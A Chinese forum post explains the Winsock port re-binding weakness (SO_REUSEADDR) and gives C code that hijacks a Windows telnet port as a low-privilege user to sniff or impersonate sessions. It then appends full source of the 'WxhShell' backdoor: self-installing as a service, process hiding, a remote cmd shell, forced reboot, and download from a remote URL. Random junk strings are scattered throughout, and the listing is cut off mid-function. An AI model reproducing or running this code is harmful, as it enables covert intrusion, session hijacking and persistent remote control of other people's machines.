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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *z2G(Uac s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y*Egt `W .hYrE5\- saddr.sin_family = AF_INET; `+IB;G1 6g/ <FM saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2>l
=oXq ~$#"'Tl4J bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (dOC ^i ubC(%Y_k 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `yjHLg ]9xuLJ) 这意味着什么?意味着可以进行如下的攻击: '@Zau\xC B8+J0jdg6% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |5uvmK P@gVzx)M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^DL}J>F9G ^4Nk13 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7M#eR8*[se (!-gX"<b 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -E6#G[JJ (1~d/u?2\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7
Jxhn! tx$kD2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jo75MSj l+6y$2QR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }T@^wY_Ow o,| LO$~ #include 9(;5!q,Gsg #include ~F?vf@k #include }?"}R<F|M, #include ]*I:N DWORD WINAPI ClientThread(LPVOID lpParam); Z`5jX;Z! int main() #;9I3,@/Y { ?2hS<qXX WORD wVersionRequested; ^[K3]*!@ DWORD ret; r-M:YB WSADATA wsaData;
U 6(( BOOL val; k)Y}X)\36 SOCKADDR_IN saddr; GZxM44fP SOCKADDR_IN scaddr; U} EaV< int err; ^Eu]i SOCKET s; ;x 9_ SOCKET sc; en"]u,! int caddsize; 6#Ag^A HANDLE mt; !N\<QRb\q DWORD tid; _zAHN0d wVersionRequested = MAKEWORD( 2, 2 ); wul$lJ?tE err = WSAStartup( wVersionRequested, &wsaData ); K?;_T$^K if ( err != 0 ) { BCDmce`=l printf("error!WSAStartup failed!\n"); $XBn:0U return -1; [E9V#J89 } v'R{lXE saddr.sin_family = AF_INET; kq;1Ax0{ P}So>P~2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^*CvKCS (0L7Ivg< saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3NI3b-7 saddr.sin_port = htons(23); pkW }\r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NSQ}:m { \Wdl1 =` printf("error!socket failed!\n"); |Z]KF>S] return -1; l;*/F`>c } cT2&nZ val = TRUE; Q5[x2 s_ d //SO_REUSEADDR选项就是可以实现端口重绑定的 :O`7kZ]=n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bve_*7CEM { 4*k>M+o/C4 printf("error!setsockopt failed!\n"); ~UrKyA return -1; l@;UwnI } #[|~m;K(w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L-&N* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )-98pp7~BB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `Aa}q(}k kF%EJuu if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U_s3)/' { MQs!+Z"m> ret=GetLastError(); #Tc]L<." printf("error!bind failed!\n"); 8fV.NCyE return -1; o1Bn^w } =>?;Iv'Z listen(s,2); oXC|q-(C while(1) bjn: e!} { 1D*oXE9Ig caddsize = sizeof(scaddr); fL0dy[Ch@ //接受连接请求 9((BOq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~m/nV81 if(sc!=INVALID_SOCKET) 'eyzH[l,( { lk.]!K$} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wM$N#K@ if(mt==NULL) `ChS$p"A { mf~JolucJ printf("Thread Creat Failed!\n"); noSkKqP break; _&(\>{pm } xwuGJ } [
B{F(~O CloseHandle(mt); v|!u]!JM } ;rgg O0Y closesocket(s); jeKqS WSACleanup(); |j 9d.M return 0; Dno]N } \a#{Y/j3 DWORD WINAPI ClientThread(LPVOID lpParam) 6?;U[eV { :B^YK]. SOCKET ss = (SOCKET)lpParam; *~h@K Qm7 SOCKET sc; {gL8s
unsigned char buf[4096]; M =/+q SOCKADDR_IN saddr; +3>)r{#k long num; a&^HvXO(>( DWORD val; ro& / DWORD ret; Mh=yIx</ //如果是隐藏端口应用的话,可以在此处加一些判断 /M,C%.- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 yL2sce[ saddr.sin_family = AF_INET; ;;4>vF#* saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '99rXw saddr.sin_port = htons(23); Zz,j,w0 Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d}RU-uiW { #mIgk'kW< printf("error!socket failed!\n"); #EG
W76
f return -1; dd+hX$, } ~U;M1> val = 100; YkN0,6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w3n6md { `49: !M$i ret = GetLastError(); }WowgY return -1; >(?}'pS8 } V=i/cI\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D`Cy]j { GhJ<L3 ret = GetLastError(); !:]/MpQ ? return -1; {4F=].! } HXeX! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +g9CklJ { <)68ol~< printf("error!socket connect failed!\n"); ym_w09 closesocket(sc); _J,lF-, closesocket(ss); #\zC|%2+z return -1; }'KHF0 }
vE~>9 while(1) #+"1">l { qWdob>u //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r!N> FE //如果是嗅探内容的话,可以再此处进行内容分析和记录 C8Oh]JF4d //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YigDrW num = recv(ss,buf,4096,0); E%b*MU if(num>0) wbpz, send(sc,buf,num,0); W>_K+:t else if(num==0) 9#>t% IF~ break; MaS-*;BY, num = recv(sc,buf,4096,0); 6"oG
bte if(num>0) <eh<4_<qF send(ss,buf,num,0); eqY8;/ else if(num==0) 0Yk$f1g break; yC:C } qNuBK6E#4 closesocket(ss); I.6
qA * closesocket(sc); ,
3&DA return 0 ; Q)/oU\ } S'_2o?fs TpGnSD 6/dP)"a(' ========================================================== q/h, jM s~NJy'Y 下边附上一个代码,,WXhSHELL HhZ>/5'( Im!fZ g ========================================================== D[
v2#2 J1u&Ga #include "stdafx.h" ~LF/wx> HkQ rij6 #include <stdio.h> LOEiV #include <string.h> >^~W'etX| #include <windows.h> 9 gc0Ri[4m #include <winsock2.h> cK1 Fv6V# #include <winsvc.h> 5F78)qu6N #include <urlmon.h> Krd0Gc~\|
wBlo2WY #pragma comment (lib, "Ws2_32.lib") wZg~k\_lF #pragma comment (lib, "urlmon.lib") {00Qg{;K| Z [YSET #define MAX_USER 100 // 最大客户端连接数 Kgw,]E&7 #define BUF_SOCK 200 // sock buffer s?Z{LWZ@ #define KEY_BUFF 255 // 输入 buffer p_B5fm7#6W .)c+gyaQ #define REBOOT 0 // 重启 M^&^g #define SHUTDOWN 1 // 关机 l+#uQo6cqQ ?~3Pydrb# #define DEF_PORT 5000 // 监听端口 GUps\:ss 7o7*g 7 #define REG_LEN 16 // 注册表键长度 veAdk9 #define SVC_LEN 80 // NT服务名长度 E h+m|A [{q])P; // 从dll定义API zi_0*znw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P
r2WF~NuO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gX~lYdA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XI>HC'.0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bo-lT-I `PtfPt<{ // wxhshell配置信息 ew&"n2r struct WSCFG { w\1K.j=>|N int ws_port; // 监听端口 @Yw>s9X char ws_passstr[REG_LEN]; // 口令 WCP2x.gb5 int ws_autoins; // 安装标记, 1=yes 0=no ^4C
djMF-E char ws_regname[REG_LEN]; // 注册表键名 f2?01PM,Q char ws_svcname[REG_LEN]; // 服务名 &9EcgazV char ws_svcdisp[SVC_LEN]; // 服务显示名 2-%9k)KH char ws_svcdesc[SVC_LEN]; // 服务描述信息 owzcc-g char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R9-Uoc/ int ws_downexe; // 下载执行标记, 1=yes 0=no }_oQg_-7e char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 5i-VnG
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IOY<'t+ ig ^x%!; }; ! JauMR 6f^IAa| // default Wxhshell configuration M%bD7naBq struct WSCFG wscfg={DEF_PORT, ?h:xO\h8 "xuhuanlingzhe", mq+x= 1, {n{-5Y "Wxhshell", TR9dpt+T "Wxhshell", -VvN1G6.x? "WxhShell Service", W.l#@p "Wrsky Windows CmdShell Service", g*;zVi "Please Input Your Password: ", s]pNT1, 1, LaYd7Oyf] " http://www.wrsky.com/wxhshell.exe", ^|(VI0KO "Wxhshell.exe" z:;yx }; t]hfq~Ft YJ}9VY<}1K // 消息定义模块 t8ORfO+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Prrz> char *msg_ws_prompt="\n\r? for help\n\r#>"; 0.&-1pw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ;!B,P-Z"g char *msg_ws_ext="\n\rExit."; bb}Fu/S char *msg_ws_end="\n\rQuit."; xk7VuS* char *msg_ws_boot="\n\rReboot..."; GO3KKuQ= char *msg_ws_poff="\n\rShutdown..."; qS?^(Vt|R char *msg_ws_down="\n\rSave to "; !
u9LZ t4UL|fI char *msg_ws_err="\n\rErr!"; V6&6I char *msg_ws_ok="\n\rOK!"; 8M,$|\U %?BygG char ExeFile[MAX_PATH];
y$9XHubu int nUser = 0; yeLd,M/I HANDLE handles[MAX_USER]; QsBC[7<jd- int OsIsNt; T~
P<Gq}, 3F$N@K~s SERVICE_STATUS serviceStatus; \F14]`i SERVICE_STATUS_HANDLE hServiceStatusHandle; ZyV^d3F@$ 13A~."b // 函数声明 Z fd `Fu int Install(void); v,Z?pYYo int Uninstall(void); )3ZkKv;zY int DownloadFile(char *sURL, SOCKET wsh); a28`)17z int Boot(int flag); U2
Cmf void HideProc(void); QTU$mC] int GetOsVer(void); !`dMTW int Wxhshell(SOCKET wsl); I7+yu> void TalkWithClient(void *cs); |?v+8QL,;t int CmdShell(SOCKET sock); Oo/@A_JO@ int StartFromService(void); Pk&$#J_ int StartWxhshell(LPSTR lpCmdLine); A#gy[.Bb eC@b-q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xmejoOF VOID WINAPI NTServiceHandler( DWORD fdwControl ); CUx-k|\ GQYB2{e> // 数据结构和表定义 1-.(pA' SERVICE_TABLE_ENTRY DispatchTable[] = i^)JxEPr w { KB$Y8[ {wscfg.ws_svcname, NTServiceMain}, mOJ-M@ME {NULL, NULL} bUe6f,8, }; 19i=kdH 4$+/7I \ // 自我安装 _sQhD i int Install(void) or(P?Ro { qmtH0I7) char svExeFile[MAX_PATH]; Y?%=6S HKEY key; 2]E i4%jo strcpy(svExeFile,ExeFile); nq\~`vH|Gd rxOvYF // 如果是win9x系统,修改注册表设为自启动 HE-ErEtGB if(!OsIsNt) { Ah;`0Hz; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F#z1 sl' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 91UC>]}H RegCloseKey(key); >0cg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =(Y+u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,uZz?7mO RegCloseKey(key); p+CK+m
return 0; $PMD $c } IO"q4(&;P4 } Y ^5RM } T+>W(w
i else { R#Z
m[S WL;2&S/{@ // 如果是NT以上系统,安装为系统服务 J!H)[~2/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "YN6o_*] if (schSCManager!=0) $Zj3#l:rK { (R!`Z% SC_HANDLE schService = CreateService w}?,N ( HG3iK schSCManager, :MGIp%3 wscfg.ws_svcname, o),@I#fM wscfg.ws_svcdisp, Mlo:\ST| SERVICE_ALL_ACCESS, Bpv"qU7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?Skv2!X| SERVICE_AUTO_START, [@0Hmd7 SERVICE_ERROR_NORMAL, EE*FvI` svExeFile, )H{OqZZYD NULL, ;pG5zRe NULL, *s?C\)x NULL, <o@__l. NULL, _r`(P#Hy NULL NZ-57Ji ); } A}Vd:# if (schService!=0) Efu/v< { |9mGX9q CloseServiceHandle(schService); 3u'@anre CloseServiceHandle(schSCManager); F
7X] h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BLb'7`t strcat(svExeFile,wscfg.ws_svcname); Ju_(,M-Vgr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?$=Ml$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UZo[]$"Q` RegCloseKey(key); 8< z return 0; \j0016; } \o5/, C } *a`_,Q{x CloseServiceHandle(schSCManager); FB
O_B } 21hTun"W } pZ 7KWk4 j^ttTq|l return 1; hn e}G._b } JR|P]} l>pnY%(A // 自我卸载 M aP - int Uninstall(void) uy([>8uu { p%5(Qqmlk HKEY key; .19_EQ>+ rrl{3
? if(!OsIsNt) { D;Y2yc[v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hmv*IF. RegDeleteValue(key,wscfg.ws_regname); D\ P-|} RegCloseKey(key); rR(\fX!dg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !
;R}= RegDeleteValue(key,wscfg.ws_regname); -IL' (vx RegCloseKey(key); {%z5^o1) return 0; 7/bF04~% } *!,k`=.([# } @XH@i+{B } A{gniYqvB` else { ]"i^VVw #3YYE5cB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]gVW&3ZW if (schSCManager!=0) i7`/"5I { Yz>8 Nn '_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZU5; w if (schService!=0) 8[IR;gZf { <4*)J9V^s= if(DeleteService(schService)!=0) { )Nl xW5 CloseServiceHandle(schService); WU6F-{M"? CloseServiceHandle(schSCManager); TWU1@5?Ct return 0; .WlZT- } NZuylQ)0 CloseServiceHandle(schService); t=n@<1d } '^BTa6W}m CloseServiceHandle(schSCManager); s+a#x(7{ } %D[6;PT } w=ZK=@ 0~cbB return 1; sDXQ{*6a } D#11
N^-K B{NGrC`5) // 从指定url下载文件 78E<_UgcB int DownloadFile(char *sURL, SOCKET wsh) }nWW`:t kx { W<H<~wf# HRESULT hr; #a!qJeWm0 char seps[]= "/"; K}Lu1:~ char *token; Sp@{5 char *file; eit %U char myURL[MAX_PATH]; NJ(H$tB@ char myFILE[MAX_PATH]; YF13&E2`\ CjU?3Ag strcpy(myURL,sURL); oTf^-29d token=strtok(myURL,seps); (Uk\O`)m while(token!=NULL) zmU> { cnM`ywKW file=token; ^ ]SU (kY token=strtok(NULL,seps); :Q>{Y } x-SYfvYY Xl/2-'4 GetCurrentDirectory(MAX_PATH,myFILE); Kk/cI6`W strcat(myFILE, "\\"); 't3nh strcat(myFILE, file); <s5s<q2 send(wsh,myFILE,strlen(myFILE),0); h\*I*I8C send(wsh,"...",3,0); }z_7?dn/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @;{iCVW if(hr==S_OK) Ryi%}! return 0; ,/..f!bp else sT>l ?L return 1; %>,Kd6bdg rq^VOK|L } Z|zT%8.8N J\\o#-H // 系统电源模块 5}`e"X int Boot(int flag) MW)=l
| G { ?yAjxoE~? HANDLE hToken; yo#fJ` TOKEN_PRIVILEGES tkp; Ufe@G\uyI >2K:O\& if(OsIsNt) { ),f d, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <O]B'Wc [ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =kn-F T tkp.PrivilegeCount = 1; 8[H)tKf8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jR{Rd}QtQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]D|Hq4ug if(flag==REBOOT) { m"mU:-jk` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O-]^_LV` return 0; usI$ } ~)iQbLI else { G!w?\- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;Y`k-R:E6A return 0; X8(WsN } mjbV^^> } Y> PC> else { r r(UE if(flag==REBOOT) { JAI ;7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q%k _C0 return 0; _eMY? } 9d&}CZr else { j'|`:^
Sy if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rfhvd wwD return 0; };]f 3 } 4GqE%n+ta~ } A@JZK+WB} Iih]q return 1; ^|=3sJ4[U } 3Uni{Z]Q) fnudu0k // win9x进程隐藏模块 |%5nV=&\ void HideProc(void) %1e{"_$O9 { :faB7wduW; -LEpT$v| HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5gY9D!;:0D if ( hKernel != NULL ) <^wqN!/ { \k*h& :$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w}``2djR'W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S$Fq1 FreeLibrary(hKernel); wM&WR2 } ?K^~(D8( 2^=.jML[ return; N!^5<2z@eT } kS$m$
D a1#
'uS9W // 获取操作系统版本 ;U$EM+9 int GetOsVer(void) kK$*,]iCp { D``>1IA] OSVERSIONINFO winfo; O,?aVgY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -WK GetVersionEx(&winfo); {A MoE+U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M]M(E) *5 return 1; wT-@v,$ else rgXD>yu( return 0; K^+}__;] } q.NvwJ ,N`D{H"F // 客户端句柄模块 M[,G#GO int Wxhshell(SOCKET wsl) z+6%Ya&ls { DU1\ K SOCKET wsh; Gu@Znh-D struct sockaddr_in client; bdkxCt DWORD myID; 1PjqXgN5p `d.4L.], while(nUser<MAX_USER) LjMhPzCp { |!H@{o int nSize=sizeof(client); }?XNA.Wz wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n0CS= if(wsh==INVALID_SOCKET) return 1; r&c31k]E Z7Xic5PI{4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eFdN"8EW if(handles[nUser]==0) 6$6Qk !% closesocket(wsh); (w{C*iB else +2S#3m?1 nUser++; )90K^$93" } R
SqO$~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'or8CGr^p !`EhVV8u-_ return 0;
C#4/~+ } B[nkE+s F_C_K"[s // 关闭 socket Q XV8][ void CloseIt(SOCKET wsh) qb1[-H { {kp^@ closesocket(wsh); %e'Z.vm nUser--; , 1`-u$ ExitThread(0); 2%(RB4+ } *oU-V# F(#~.i // 客户端请求句柄 AV*eGzz` void TalkWithClient(void *cs) m5rJY/ { !_SIq`5]@ ;l>C[6] SOCKET wsh=(SOCKET)cs; W^AY:#eX~Q char pwd[SVC_LEN]; \w+a Q?e_ char cmd[KEY_BUFF]; z^=e3~-J char chr[1]; ('VHL! int i,j; ' 5%`[& A/#Xr while (nUser < MAX_USER) { sCE2 F_xjL d T*8I0\+ if(wscfg.ws_passstr) { h1 (MvEt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #cD20t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gaXKP1m^ //ZeroMemory(pwd,KEY_BUFF); ;_hL i=0; O FCA~sR while(i<SVC_LEN) { v5N2$Sqp* jwd{CN% // 设置超时 c/\$AJV.H fd_set FdRead; #\)tz z struct timeval TimeOut; yL>wCD,L FD_ZERO(&FdRead); t=Um@;wh FD_SET(wsh,&FdRead); ,t=12R]> TimeOut.tv_sec=8; ,dO$R.h TimeOut.tv_usec=0; )mb RG9P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XU19+mW=P if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J%n{R60b SS/t8Y4W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SJdi*> pwd =chr[0]; %">
Oy&3 if(chr[0]==0xd || chr[0]==0xa) { R1=ir# U|D pwd=0; g2'Q)w break; M?fRiOj } /K@{(=n i++; ?dcR!-3 } q"Z!}^{ Y?>us // 如果是非法用户,关闭 socket A,)G$yT\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >7^+ag~& } r!7e:p JLO /NDuAjp[@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [Ifhh2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8xEOR!\!`k ;y{VdT while(1) { :9Vd=M6, +e6c4Tw/ ZeroMemory(cmd,KEY_BUFF); 2!4.L&Ki X)TUKt // 自动支持客户端 telnet标准 KZxA\,Y'5 j=0; _,i+gI[ while(j<KEY_BUFF) { yw(E} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k v}<u cmd[j]=chr[0]; KtFxG6a if(chr[0]==0xa || chr[0]==0xd) { S"z cSkF cmd[j]=0; ]$vJK break; N3`W%ws`~ } 2%DleR'i j++; n*oa J<o% } A'\jaB <XHS@| // 下载文件 "n3i(sZ if(strstr(cmd,"http://")) { /<s$Am send(wsh,msg_ws_down,strlen(msg_ws_down),0); f @cs<x if(DownloadFile(cmd,wsh)) #!FLX*, send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bw[jrK else l?/.uNw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g#ZuRL } Q:x:k+O- else { ~BVK6 &z\]A,=Tc switch(cmd[0]) { ;|hEXd?b B!(t<W8cu // 帮助 ffQ%GV_ case '?': { s\`Vr;R:| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |;-,(509 break; jbHk } ,ZYj8^gF // 安装 #89h}mp' case 'i': { Bn"r;pqWiT if(Install()) [wM<J$=2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); m7XJe[O else Iy}r'#N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $DfaW3bJ break; J\%<.S> } #c0
dZ // 卸载 l}DCK case 'r': { IKK<D'6 if(Uninstall()) K+` Vn send(wsh,msg_ws_err,strlen(msg_ws_err),0); :);]E-ch else )6?.; B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !_`T8pJ` break; toipEp<ci } !j(KbAhWZ // 显示 wxhshell 所在路径 MGO.dRy_ case 'p': { c#G]3vTdE char svExeFile[MAX_PATH]; s'^zudx strcpy(svExeFile,"\n\r"); ;!@\|E strcat(svExeFile,ExeFile); {I|k@ send(wsh,svExeFile,strlen(svExeFile),0); 8i;N|:WdH break; v}IP%84 }
:*M\z3`k // 重启 ;UgRm# case 'b': { 1q!JpC^ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f= }Mr8W' if(Boot(REBOOT)) eh'mSf^=p send(wsh,msg_ws_err,strlen(msg_ws_err),0); /S;o2\ else { xaerMr closesocket(wsh); a{h(BI^~ ExitThread(0); #^Dc:1, } TKc&yAK break; ED/-,>[f } tji,by#E/% // 关机 !dLz ?0 case 'd': { mm=Y(G[_%y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ucj )t7O if(Boot(SHUTDOWN)) %6<Pt send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kfj*uzKB else { <LW|m7 closesocket(wsh); $Yz &x%Lb ExitThread(0); HHZ!mYr } | 4I x2GD break; 04;y%~,}U/ } S'-<p<;D\B // 获取shell lkg-l<c\J case 's': { dW7dMx CmdShell(wsh); LM'` U-/e$ closesocket(wsh); 7o
z(hO~ ExitThread(0); Ut-6!kAm break; >B~jPU } [6S"iNiyKT // 退出 =] 5;=>( case 'x': { <nsl`C~6g0 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l1cBY{3QD CloseIt(wsh); LbR/it'} break; zs"AYxr } pOI+ // 离开 `Ik}Xw case 'q': { 73~Mq7~8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); }WGi9\9T& closesocket(wsh); %Z{J= WSACleanup(); N0RFPEQ~ exit(1); (&MSP break; TiBE9 } >KY\Bx } \N#)e1.0P } #>'1oC{ H[N&Wiq/| // 提示信息 ^z&xy41#B if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iL 4SL}P } ^RWt } P'9aZd om_&|9B) return; 4_.k Q"'DH } J|FyY)_ &<Gq-IN // shell模块句柄 1]>KuXd
r int CmdShell(SOCKET sock) j|G-9E { oZCi_g 5i STARTUPINFO si; g41Lh3dj ZeroMemory(&si,sizeof(si)); gy =`c MS@ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .`'SL''c si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bhq(bV PROCESS_INFORMATION ProcessInfo; @I"Aet'XV char cmdline[]="cmd"; ,O~2
R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3X!~*_iC return 0; $Qy(ed } 8]?1gDS|9O 2FVKgyV // 自身启动模式 h5F'eur int StartFromService(void) }ZmdX^xB { Y|VzeJC typedef struct (Z"Xp{u { ~$\j$/A8/ DWORD ExitStatus; 1UM]$$:i DWORD PebBaseAddress;
.V.N^8(:a DWORD AffinityMask; d}o1 j DWORD BasePriority; `f'q / ULONG UniqueProcessId; 78QFaN$ ULONG InheritedFromUniqueProcessId; ?3Jh{F_+ } PROCESS_BASIC_INFORMATION; 2mlE;.}8 $GO'L2oLwn PROCNTQSIP NtQueryInformationProcess; 0KQ8;&a| rb tV,Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4P~<_]yf static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \~)573' GO)rpk9 HANDLE hProcess; %|,<\~P PROCESS_BASIC_INFORMATION pbi; RrZjC Nz}Q"6L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kx=AX*I if(NULL == hInst ) return 0; 4a @iR2e f.P( {PN g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w%_BX3GTO g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,?d%&3z<a 